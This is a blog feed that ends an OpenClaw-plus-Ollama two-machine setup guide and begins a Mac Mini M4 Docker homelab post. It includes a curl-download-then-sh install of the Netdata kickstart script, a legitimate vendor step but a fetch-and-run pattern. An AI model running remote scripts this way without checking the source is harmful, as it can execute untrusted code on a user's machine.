<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install OpenClaw globally</span>
npm <span class="nb">install</span> <span class="nt">-g</span> openclaw@latest

<span class="c"># Verify</span>
openclaw <span class="nt">--version</span>
</code></pre></div></div>

<h3 id="35-run-openclaw-onboarding-with-ollama">3.5 Run OpenClaw Onboarding with Ollama</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openclaw onboard
</code></pre></div></div>

<p>During onboarding:</p>
<ol>
  <li>Select <strong>Ollama</strong> as the provider</li>
  <li>When prompted for the base URL, enter: <code class="language-plaintext highlighter-rouge">http://100.x.x.2:11434</code> (the gaming PC’s Tailscale IP)</li>
  <li>Select <strong>Local</strong> mode (local models only from this provider — we’ll add Claude separately)</li>
  <li>The onboarding wizard should discover the <code class="language-plaintext highlighter-rouge">qwen3.5:27b</code> model from the remote Ollama instance</li>
</ol>

<h3 id="36-configure-the-hybrid-model-setup">3.6 Configure the Hybrid Model Setup</h3>

<p>After onboarding completes, edit the OpenClaw configuration to set up the hybrid primary + thinking model:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openclaw config edit
</code></pre></div></div>

<p>Set the following configuration (in JSONC format):</p>

<div class="language-jsonc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="na">agents</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="na">defaults</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="na">model</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="c1">// Local model for routine tasks (file reads, simple edits, boilerplate)</span><span class="w">
        </span><span class="na">primary</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama/qwen3.5:27b"</span><span class="p">,</span><span class="w">
        </span><span class="c1">// Cloud model for complex reasoning (architecture, debugging, multi-file)</span><span class="w">
        </span><span class="na">thinking</span><span class="p">:</span><span class="w"> </span><span class="s2">"anthropic/claude-sonnet-4-6-20260514"</span><span class="p">,</span><span class="w">
        </span><span class="c1">// Fallback chain if primary is unavailable</span><span class="w">
        </span><span class="na">fallbacks</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"anthropic/claude-sonnet-4-6-20260514"</span><span class="p">]</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="na">models</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="na">providers</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="na">ollama</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="na">baseUrl</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://100.x.x.2:11434"</span><span class="p">,</span><span class="w">  </span><span class="c1">// Gaming PC Tailscale IP</span><span class="w">
        </span><span class="na">apiKey</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama-local"</span><span class="p">,</span><span class="w">
        </span><span class="na">api</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama"</span><span class="w">  </span><span class="c1">// Use native Ollama API, NOT /v1</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Critical detail from the OpenClaw docs:</strong> Do not use the <code class="language-plaintext highlighter-rouge">/v1</code> OpenAI-compatible URL. The <code class="language-plaintext highlighter-rouge">/v1</code> path breaks tool calling — models output raw tool JSON as plain text instead of executing tools. Always use the base Ollama URL without a path suffix.</p>

<h3 id="37-add-anthropic-api-key">3.7 Add Anthropic API Key</h3>

<p>For the Claude Sonnet fallback:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openclaw config <span class="nb">set </span>models.providers.anthropic.apiKey <span class="s2">"sk-ant-xxxxx"</span>
</code></pre></div></div>

<p>Use a dedicated, low-spend API key with a hard daily cap (e.g., $10/day). Never reuse your primary work API key for an autonomous agent.</p>

<h3 id="38-configure-gateway-security">3.8 Configure Gateway Security</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Bind gateway to localhost only — remote access via Tailscale</span>
openclaw config <span class="nb">set </span>gateway.bind loopback

<span class="c"># Enable agent sandboxing for tool execution</span>
openclaw config <span class="nb">set </span>agents.defaults.sandbox.mode <span class="s2">"non-main"</span>
openclaw config <span class="nb">set </span>agents.defaults.sandbox.scope <span class="s2">"agent"</span>
</code></pre></div></div>

<h3 id="39-install-the-gateway-as-a-systemd-daemon">3.9 Install the Gateway as a Systemd Daemon</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openclaw onboard <span class="nt">--install-daemon</span>
</code></pre></div></div>

<p>This creates a systemd user service that starts the OpenClaw gateway automatically on boot.</p>

<p>Verify it’s running:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openclaw gateway status
openclaw doctor
</code></pre></div></div>

<h3 id="310-set-up-tailscale-remote-access-to-the-control-ui">3.10 Set Up Tailscale Remote Access to the Control UI</h3>

<p>From any device on your Tailscale network, you can access the OpenClaw Control UI:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># On the UM890 Pro, get the dashboard URL</span>
openclaw dashboard <span class="nt">--no-open</span>
</code></pre></div></div>

<p>Then open <code class="language-plaintext highlighter-rouge">http://100.x.x.1:18789/</code> from any Tailscale-connected device.</p>

<h2 id="phase-4-monitoring-and-validation">Phase 4: Monitoring and Validation</h2>

<h3 id="41-install-netdata-both-machines">4.1 Install Netdata (Both Machines)</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://get.netdata.cloud/kickstart.sh <span class="o">&gt;</span> /tmp/netdata-kickstart.sh <span class="o">&amp;&amp;</span> sh /tmp/netdata-kickstart.sh
</code></pre></div></div>

<p>Netdata provides real-time visibility into CPU, RAM, GPU utilization, network traffic, and disk I/O — invaluable for monitoring both the gateway and inference server.</p>

<h3 id="42-validate-the-full-pipeline">4.2 Validate the Full Pipeline</h3>

<p>From the OpenClaw Control UI or a connected messaging channel, send a test message:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>What model are you, and what is your context window?
</code></pre></div></div>

<p>The response should come from the local Qwen 3.5 27B model. You can verify by checking the Ollama logs on the gaming PC:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>journalctl <span class="nt">-u</span> ollama <span class="nt">-f</span>
</code></pre></div></div>

<p>You should see the inference request arrive.</p>

<h3 id="43-test-failover">4.3 Test Failover</h3>

<p>Power off the gaming PC (or stop the Ollama service) and send another message through OpenClaw. The gateway should detect that the Ollama endpoint is unreachable and fall back to Claude Sonnet via the Anthropic API. Check the OpenClaw logs:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>journalctl <span class="nt">--user</span> <span class="nt">-u</span> openclaw <span class="nt">-f</span>
</code></pre></div></div>

<p>You should see the failover from <code class="language-plaintext highlighter-rouge">ollama/qwen3.5:27b</code> to <code class="language-plaintext highlighter-rouge">anthropic/claude-sonnet-4-6-20260514</code>.</p>

<h2 id="phase-5-hardening-checklist">Phase 5: Hardening Checklist</h2>

<p>After the basic setup is working, apply these hardening measures:</p>

<p><strong>UM890 Pro (Gateway):</strong></p>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Rootless Docker is enabled for the <code class="language-plaintext highlighter-rouge">openclaw</code> user</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />OpenClaw gateway is bound to <code class="language-plaintext highlighter-rouge">loopback</code> (localhost only)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />UFW is active with default deny inbound, SSH and Tailscale allowed</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Agent sandboxing is set to <code class="language-plaintext highlighter-rouge">non-main</code> mode</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Anthropic API key has a hard daily spending cap</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">auditd</code> is installed for forensic logging</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">openclaw doctor</code> and <code class="language-plaintext highlighter-rouge">openclaw security audit --deep</code> pass cleanly</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Netdata agent is running and alerting on resource thresholds</li>
</ul>

<p><strong>Gaming PC (Inference):</strong></p>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Ollama is bound to the Tailscale IP only (not <code class="language-plaintext highlighter-rouge">0.0.0.0</code>)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />UFW blocks port 11434 on all interfaces except <code class="language-plaintext highlighter-rouge">tailscale0</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Nvidia drivers are installed and <code class="language-plaintext highlighter-rouge">nvidia-smi</code> reports the RTX 5080</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">qwen3.5:27b</code> is loaded and generating tokens on-GPU (check VRAM usage)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Netdata agent is running with GPU monitoring</li>
</ul>

<p><strong>Tailscale:</strong></p>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Both machines are on the same tailnet</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Tailscale ACLs restrict which devices can reach port 11434 on the gaming PC</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />MagicDNS is enabled for hostname-based access (optional but convenient)</li>
</ul>

<h2 id="troubleshooting">Troubleshooting</h2>

<p><strong>Ollama returns slow responses (&lt; 5 tok/s on the 27B model):</strong>
The model is likely running on CPU instead of GPU. Check <code class="language-plaintext highlighter-rouge">nvidia-smi</code> — if VRAM usage is near 0 while Ollama is serving a request, the GPU isn’t being used. Reinstall Nvidia drivers and restart Ollama.</p>

<p><strong>OpenClaw can’t reach the Ollama endpoint:</strong>
Run <code class="language-plaintext highlighter-rouge">curl http://100.x.x.2:11434/api/tags</code> from the UM890 Pro. If it fails, check: (1) Tailscale is connected on both machines (<code class="language-plaintext highlighter-rouge">tailscale status</code>), (2) Ollama is bound to the correct host (<code class="language-plaintext highlighter-rouge">OLLAMA_HOST</code> in the systemd override), (3) UFW isn’t blocking the connection.</p>

<p><strong>Tool calling doesn’t work with the local model:</strong>
Make sure the OpenClaw Ollama provider uses <code class="language-plaintext highlighter-rouge">api: "ollama"</code> (native API), not <code class="language-plaintext highlighter-rouge">api: "openai-completions"</code>. The <code class="language-plaintext highlighter-rouge">/v1</code> OpenAI-compatible endpoint does not reliably support tool calling.</p>

<p><strong>Failover to Claude doesn’t trigger:</strong>
Check that the Anthropic API key is set and valid. Run <code class="language-plaintext highlighter-rouge">openclaw models list</code> to verify the fallback model is available. Check the OpenClaw failover docs — failover only advances on auth failures, rate limits, and timeouts, not on other error types.</p>

<p><strong>Gaming PC draws too much power at idle:</strong>
Configure Nvidia power management to reduce idle draw. You can also set up a cron job or Tailscale webhook to wake the machine on demand and suspend it during off-hours.</p>

<h2 id="cost-analysis">Cost Analysis</h2>

<p>With this architecture running 24/7:</p>

<table>
  <thead>
    <tr>
      <th>Cost Component</th>
      <th>Monthly Estimate</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>UM890 Pro electricity (24/7, ~15W idle)</td>
      <td>~$3.24</td>
    </tr>
    <tr>
      <td>Gaming PC electricity (12hr/day, ~120W avg)</td>
      <td>~$15.55</td>
    </tr>
    <tr>
      <td>Anthropic API (Claude Sonnet, fallback only)</td>
      <td>~$5–15</td>
    </tr>
    <tr>
      <td><strong>Total</strong></td>
      <td><strong>~$24–34/month</strong></td>
    </tr>
  </tbody>
</table>

<p>Compare this to running OpenClaw purely on cloud APIs at $20–50/day, and the hardware setup pays for itself within weeks.</p>

<h2 id="final-thoughts">Final Thoughts</h2>

<p>This split-role deployment isn’t just about optimizing for one specific setup. The pattern generalizes: <strong>separate your always-on orchestration from your compute-heavy inference, and connect them over a secure overlay network.</strong> The orchestration machine can be any low-power Linux box. The inference machine can be any GPU-equipped server — or even a cloud GPU instance that you spin up on demand.</p>

<p>The key insight from building this: OpenClaw’s model failover system means the gateway doesn’t care if the inference server is a local GPU, a cloud API, or some combination. It tries the primary model, and if that fails, it moves down the fallback chain. The gaming PC can be powered on for focused work sessions and off overnight, and the agent keeps working seamlessly through Claude during the gaps.</p>

<p>Both machines are expendable in isolation. Together, they’re more than the sum of their parts.</p>]]></content><author><name>Prathamesh Shetye</name></author><category term="homelab" /><category term="ai" /><category term="openclaw" /><category term="openclaw" /><category term="ollama" /><category term="tailscale" /><category term="ubuntu" /><category term="rtx-5080" /><category term="um890-pro" /><category term="local-llm" /><category term="docker" /><category term="security" /><summary type="html"><![CDATA[In my previous post, I compared the Minisforum UM890 Pro against a gaming PC (7800X3D + RTX 5080) for running OpenClaw, and concluded that the best approach is to split the roles: the UM890 Pro as the hardened always-on gateway, and the gaming PC as the GPU-accelerated inference server. This post is the full implementation guide — step-by-step, command-by-command — for anyone who wants to replicate this architecture across two Linux machines connected over Tailscale.]]></summary></entry><entry><title type="html">Running a Full Homelab on a Mac Mini M4 — No Proxmox, No Rack, Just Docker</title><link href="https://prathamesh.dev/2026/03/26/Mac-Mini-m4-Homelab/" rel="alternate" type="text/html" title="Running a Full Homelab on a Mac Mini M4 — No Proxmox, No Rack, Just Docker" /><published>2026-03-26T00:00:00+00:00</published><updated>2026-03-26T00:00:00+00:00</updated><id>https://prathamesh.dev/2026/03/26/Mac-Mini-m4-Homelab</id><content type="html" xml:base="https://prathamesh.dev/2026/03/26/Mac-Mini-m4-Homelab/"><![CDATA[<p>Most homelab guides assume you’re running Proxmox on a beefy x86 tower or a rack-mounted server. But what if your entire homelab fits on your desk, sips power, and runs silently? That’s exactly what you can build with an Apple Silicon Mac Mini.</p>

<p>This post walks through my complete setup: a Mac Mini M4 running Docker containers via Colima, with external storage over Thunderbolt and USB, NAS mounts for media, a local reverse proxy with automatic TLS, a dashboard, remote access, and offsite backups to Backblaze. Everything is reproducible and config-driven.</p>

<hr />

<h2 id="why-a-mac-mini">Why a Mac Mini?</h2>

<p>A few reasons made the Mac Mini M4 the right fit:</p>

<ul>
  <li><strong>Power efficiency</strong> — Apple Silicon idles at a fraction of the wattage of a typical homelab server. Running 24/7 costs almost nothing on the electricity bill.</li>
  <li><strong>Silent operation</strong> — No fans spinning under normal container workloads. It sits in a living room without anyone noticing.</li>
  <li><strong>ARM-native Docker</strong> — Most popular container images now ship <code class="language-plaintext highlighter-rouge">linux/arm64</code> variants. For the few that don’t, Rosetta handles x86 emulation transparently.</li>
  <li><strong>Thunderbolt 4 &amp; USB</strong> — High-speed external storage is plug-and-play. No need for a NAS chassis or SATA backplane.</li>
  <li><strong>macOS stability</strong> — Say what you will about macOS for servers, but with launchd auto-start and Colima, it’s been rock-solid.</li>
</ul>

<hr />

<h2 id="the-storage-architecture">The Storage Architecture</h2>

<p>One of the more interesting aspects of this setup is how storage is handled entirely through external volumes.</p>

<h3 id="thunderbolt--usb-drives">Thunderbolt &amp; USB Drives</h3>

<p>The Mac Mini has multiple Thunderbolt 4 ports and USB ports. I use a combination of:</p>

<ul>
  <li><strong>A primary external drive</strong> mounted at <code class="language-plaintext highlighter-rouge">/Volumes/ExternalHome</code> via Thunderbolt — this holds the entire homelab directory, including all Docker Compose configs, Colima VM data, and persistent container volumes. Thunderbolt gives near-internal-SSD speeds, so there’s no performance penalty for running everything off an external disk.</li>
  <li><strong>A NAS-mounted volume</strong> at <code class="language-plaintext highlighter-rouge">/Volumes/Immich</code> — this is an SMB/NFS share from a TrueNAS box on the local network, used specifically for photo and video storage (Immich upload data). It’s mounted via macOS’s built-in “MountNASVolumes” automation so it reconnects on login.</li>
</ul>

<p>Both of these paths are passed into the Colima VM as <strong>virtiofs mounts</strong>, which means containers see them as local filesystem paths with near-native I/O performance.</p>

<h3 id="backblaze-b2-offsite-backup">Backblaze B2 Offsite Backup</h3>

<p>Having local storage is great, but a real homelab needs offsite backup. The external drives are backed up to <strong>Backblaze B2</strong> cloud storage. Backblaze offers an incredibly cost-effective solution for bulk storage:</p>

<ul>
  <li>The Thunderbolt drive with all homelab data and configs gets regular incremental backups</li>
  <li>Photo/video libraries are synced to B2 buckets</li>
  <li>Backblaze’s native Mac client or tools like <code class="language-plaintext highlighter-rouge">rclone</code> can handle the sync, running on a schedule</li>
</ul>

<p>This gives you the classic <strong>3-2-1 backup rule</strong>: three copies of data, on two different media types, with one offsite. Local drives for speed, NAS for redundancy, Backblaze for disaster recovery.</p>

<hr />

<h2 id="the-container-runtime-colima">The Container Runtime: Colima</h2>

<p>Since Docker Desktop on macOS is <a href="https://www.docker.com/pricing/">no longer free for larger teams</a> and can be resource-heavy, I use <strong><a href="https://github.com/abiosoft/colima">Colima</a></strong> — a lightweight container runtime for macOS that wraps Lima VMs.</p>

<h3 id="colima-configuration">Colima Configuration</h3>

<p>The VM is configured with reasonable resources for a homelab:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># colima.yaml</span>
<span class="na">cpu</span><span class="pi">:</span> <span class="m">6</span>
<span class="na">memory</span><span class="pi">:</span> <span class="m">12</span>          <span class="c1"># GiB</span>
<span class="na">disk</span><span class="pi">:</span> <span class="m">100</span>            <span class="c1"># GiB</span>
<span class="na">arch</span><span class="pi">:</span> <span class="s">aarch64</span>
<span class="na">runtime</span><span class="pi">:</span> <span class="s">docker</span>
<span class="na">vmType</span><span class="pi">:</span> <span class="s">vz</span>           <span class="c1"># Apple Virtualization framework</span>
<span class="na">mountType</span><span class="pi">:</span> <span class="s">virtiofs</span>  <span class="c1"># Near-native filesystem performance</span>
<span class="na">rosetta</span><span class="pi">:</span> <span class="no">true</span>        <span class="c1"># x86 emulation for amd64 images</span>
<span class="na">binfmt</span><span class="pi">:</span> <span class="no">true</span>         <span class="c1"># Foreign architecture support</span>
</code></pre></div></div>

<p>Key decisions here:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">vmType: vz</code></strong> — Uses Apple’s native Virtualization framework instead of QEMU. This is significantly faster and more resource-efficient on Apple Silicon.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">mountType: virtiofs</code></strong> — The fastest mount option available with <code class="language-plaintext highlighter-rouge">vz</code>. Docker volumes backed by external drives perform nearly as well as native disk.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">rosetta: true</code></strong> — Enables transparent x86_64 emulation via Apple’s Rosetta. Any container image that only ships <code class="language-plaintext highlighter-rouge">linux/amd64</code> will just work, with a modest performance overhead.</li>
  <li><strong>6 CPU / 12 GB RAM</strong> — Leaves headroom for macOS itself while giving containers plenty of resources.</li>
</ul>

<h3 id="volume-mounts">Volume Mounts</h3>

<p>The Colima VM mounts both external volumes into the Linux VM:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">mounts</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">location</span><span class="pi">:</span> <span class="s">/Volumes/ExternalHome</span>
    <span class="na">writable</span><span class="pi">:</span> <span class="no">true</span>
  <span class="pi">-</span> <span class="na">location</span><span class="pi">:</span> <span class="s">/Volumes/Immich</span>
    <span class="na">writable</span><span class="pi">:</span> <span class="no">true</span>
</code></pre></div></div>

<p>This is what makes the whole “external drive as homelab storage” approach work. Docker containers bind-mount paths like <code class="language-plaintext highlighter-rouge">./volumes/immich_postgres_data:/var/lib/postgresql</code>, and because the entire homelab directory lives on the Thunderbolt drive, all persistent data is on fast external storage — not the Mac’s internal SSD.</p>

<h3 id="where-colima-data-lives">Where Colima Data Lives</h3>

<p>An important detail: the <code class="language-plaintext highlighter-rouge">COLIMA_HOME</code> environment variable points to the homelab directory on the external drive:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">COLIMA_HOME</span><span class="o">=</span><span class="s2">"/Volumes/ExternalHome/Homelab/colima"</span>
<span class="nb">export </span><span class="nv">DOCKER_HOST</span><span class="o">=</span><span class="s2">"unix://</span><span class="nv">$COLIMA_HOME</span><span class="s2">/default/docker.sock"</span>
</code></pre></div></div>

<p>This means the VM disk image, Docker socket, and all Colima state live on the external drive. If you ever need to move your homelab to a different Mac, you plug in the drive and you’re done.</p>

<hr />

<h2 id="auto-start-on-boot-with-launchd">Auto-Start on Boot with launchd</h2>

<p>A homelab should survive reboots without manual intervention. On macOS, the way to do this is with a <strong>launchd agent</strong>.</p>

<p>A plist file at <code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents/com.homelab.colima.plist</code> triggers a startup script on login. The script handles the tricky part — waiting for the external drive to mount before starting Colima:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nv">LOG</span><span class="o">=</span><span class="s2">"/tmp/colima-autostart.log"</span>
<span class="nv">HOMELAB_DIR</span><span class="o">=</span><span class="s2">"/Volumes/ExternalHome/Homelab"</span>
<span class="nb">export </span><span class="nv">COLIMA_HOME</span><span class="o">=</span><span class="s2">"</span><span class="nv">$HOMELAB_DIR</span><span class="s2">/colima"</span>
<span class="nb">export </span><span class="nv">DOCKER_HOST</span><span class="o">=</span><span class="s2">"unix://</span><span class="nv">$COLIMA_HOME</span><span class="s2">/default/docker.sock"</span>
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">"/opt/homebrew/bin:</span><span class="nv">$PATH</span><span class="s2">"</span>

<span class="c"># Wait up to 120 seconds for external drive</span>
<span class="nv">TRIES</span><span class="o">=</span>0
<span class="k">while</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-d</span> <span class="s2">"/Volumes/ExternalHome"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="nv">$TRIES</span> <span class="nt">-lt</span> 24 <span class="o">]</span><span class="p">;</span> <span class="k">do
  </span><span class="nb">sleep </span>5
  <span class="nv">TRIES</span><span class="o">=</span><span class="k">$((</span>TRIES <span class="o">+</span> <span class="m">1</span><span class="k">))</span>
<span class="k">done

if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-d</span> <span class="s2">"/Volumes/ExternalHome"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
  </span><span class="nb">echo</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">date</span><span class="si">)</span><span class="s2">: ERROR - External drive not mounted after 120s"</span> <span class="o">&gt;&gt;</span> <span class="s2">"</span><span class="nv">$LOG</span><span class="s2">"</span>
  <span class="nb">exit </span>1
<span class="k">fi

</span>colima start <span class="o">&gt;&gt;</span> <span class="s2">"</span><span class="nv">$LOG</span><span class="s2">"</span> 2&gt;&amp;1
<span class="nb">cd</span> <span class="s2">"</span><span class="nv">$HOMELAB_DIR</span><span class="s2">"</span>
docker compose up <span class="nt">-d</span> <span class="o">&gt;&gt;</span> <span class="s2">"</span><span class="nv">$LOG</span><span class="s2">"</span> 2&gt;&amp;1
</code></pre></div></div>

<p>The 120-second polling loop is critical — Thunderbolt drives on macOS can take a variable amount of time to appear at their mount point after login, especially if FileVault is enabled or the drive needs to spin up.</p>

<hr />

<h2 id="services-whats-running">Services: What’s Running</h2>

<p>Everything is defined in a single <code class="language-plaintext highlighter-rouge">docker-compose.yml</code> file. All services share one Docker bridge network called <code class="language-plaintext highlighter-rouge">homelab</code>.</p>

<h3 id="caddy--reverse-proxy-with-automatic-internal-tls">Caddy — Reverse Proxy with Automatic Internal TLS</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">caddy</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">caddy:2-alpine</span>
  <span class="na">ports</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s2">"</span><span class="s">80:80"</span>
    <span class="pi">-</span> <span class="s2">"</span><span class="s">443:443"</span>
  <span class="na">volumes</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">./caddy/Caddyfile:/etc/caddy/Caddyfile:ro</span>
    <span class="pi">-</span> <span class="s">./volumes/caddy_data:/data</span>
    <span class="pi">-</span> <span class="s">./volumes/caddy_config:/config</span>
</code></pre></div></div>

<p>Caddy serves as the reverse proxy for all services. The killer feature for a homelab is <strong><code class="language-plaintext highlighter-rouge">tls internal</code></strong> — Caddy runs its own Certificate Authority and automatically generates trusted TLS certificates for local domains. No Let’s Encrypt, no self-signed cert warnings, no port numbers to remember.</p>

<p>The Caddyfile is dead simple:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>homepage.home.us {
    tls internal
    reverse_proxy homepage:3000
}

photos.home.us {
    tls internal
    reverse_proxy immich-server:2283
}

portainer.home.us {
    tls internal
    reverse_proxy portainer:9000
}
</code></pre></div></div>

<p>To make this work, you:</p>
<ol>
  <li>Point <code class="language-plaintext highlighter-rouge">*.home.us</code> to the Mac Mini’s IP in your local DNS (I use AdGuard Home)</li>
  <li>Install Caddy’s root CA certificate on your client devices (it’s generated at <code class="language-plaintext highlighter-rouge">caddy/caddy-root-ca.crt</code>)</li>
</ol>

<p>After that, every service gets a clean <code class="language-plaintext highlighter-rouge">https://service.home.us</code> URL with a green padlock.</p>

<h3 id="immich--photo--video-management">Immich — Photo &amp; Video Management</h3>

<p>Immich is the centerpiece of this homelab — a self-hosted Google Photos alternative that supports AI-powered search, facial recognition, and automatic organization.</p>

<p>The Immich stack consists of four containers:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Main server — handles the web UI and API</span>
<span class="na">immich-server</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">ghcr.io/immich-app/immich-server:${IMMICH_VERSION:-release}</span>
  <span class="na">ports</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s2">"</span><span class="s">2283:2283"</span>
  <span class="na">volumes</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">${UPLOAD_LOCATION}:/data</span>    <span class="c1"># Points to NAS mount</span>

<span class="c1"># Machine learning sidecar — CLIP embeddings, facial recognition</span>
<span class="na">immich-machine-learning</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}</span>
  <span class="na">volumes</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">./volumes/immich_model_cache:/cache</span>

<span class="c1"># Redis-compatible cache</span>
<span class="na">immich-redis</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">docker.io/valkey/valkey:9-alpine</span>

<span class="c1"># PostgreSQL with pgvector for AI search</span>
<span class="na">immich-database</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">ghcr.io/immich-app/postgres:18-vectorchord0.5.3-pgvector0.8.1</span>
  <span class="na">volumes</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">./volumes/immich_postgres_data:/var/lib/postgresql</span>
</code></pre></div></div>

<p>A few things to note:</p>
<ul>
  <li><strong>Photo storage lives on the NAS</strong> (<code class="language-plaintext highlighter-rouge">/Volumes/Immich</code>), not the local drive. This keeps the large media library on bulk storage while the database and ML cache stay on fast Thunderbolt storage.</li>
  <li><strong>PostgreSQL uses pgvector</strong> — this enables the AI-powered semantic search feature where you can search your photos by description (e.g., “beach sunset”).</li>
  <li><strong>Valkey</strong> is used instead of Redis — it’s a fully compatible, community-maintained fork.</li>
  <li>The ML container downloads and caches CLIP models on first run. Expect ~2-3 GB of model data.</li>
</ul>

<h3 id="homepage--dashboard">Homepage — Dashboard</h3>

<p><a href="https://gethomepage.dev/">Homepage</a> provides a clean dashboard that aggregates all services in one place:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">homepage</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">ghcr.io/gethomepage/homepage:latest</span>
  <span class="na">volumes</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">./homepage/config:/app/config</span>
    <span class="pi">-</span> <span class="s">/var/run/docker.sock:/var/run/docker.sock:ro</span>
</code></pre></div></div>

<p>It reads from the Docker socket to show container status and integrates with service APIs (like Immich and Portainer) to display live widgets with stats. The dashboard is organized into sections — Media services in one row, Infrastructure in another — with a dark theme and resource monitoring (CPU, RAM, disk).</p>

<h3 id="portainer--docker-management-gui">Portainer — Docker Management GUI</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">portainer</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">portainer/portainer-ce:lts</span>
  <span class="na">volumes</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">/var/run/docker.sock:/var/run/docker.sock:ro</span>
    <span class="pi">-</span> <span class="s">./volumes/portainer_data:/data</span>
</code></pre></div></div>

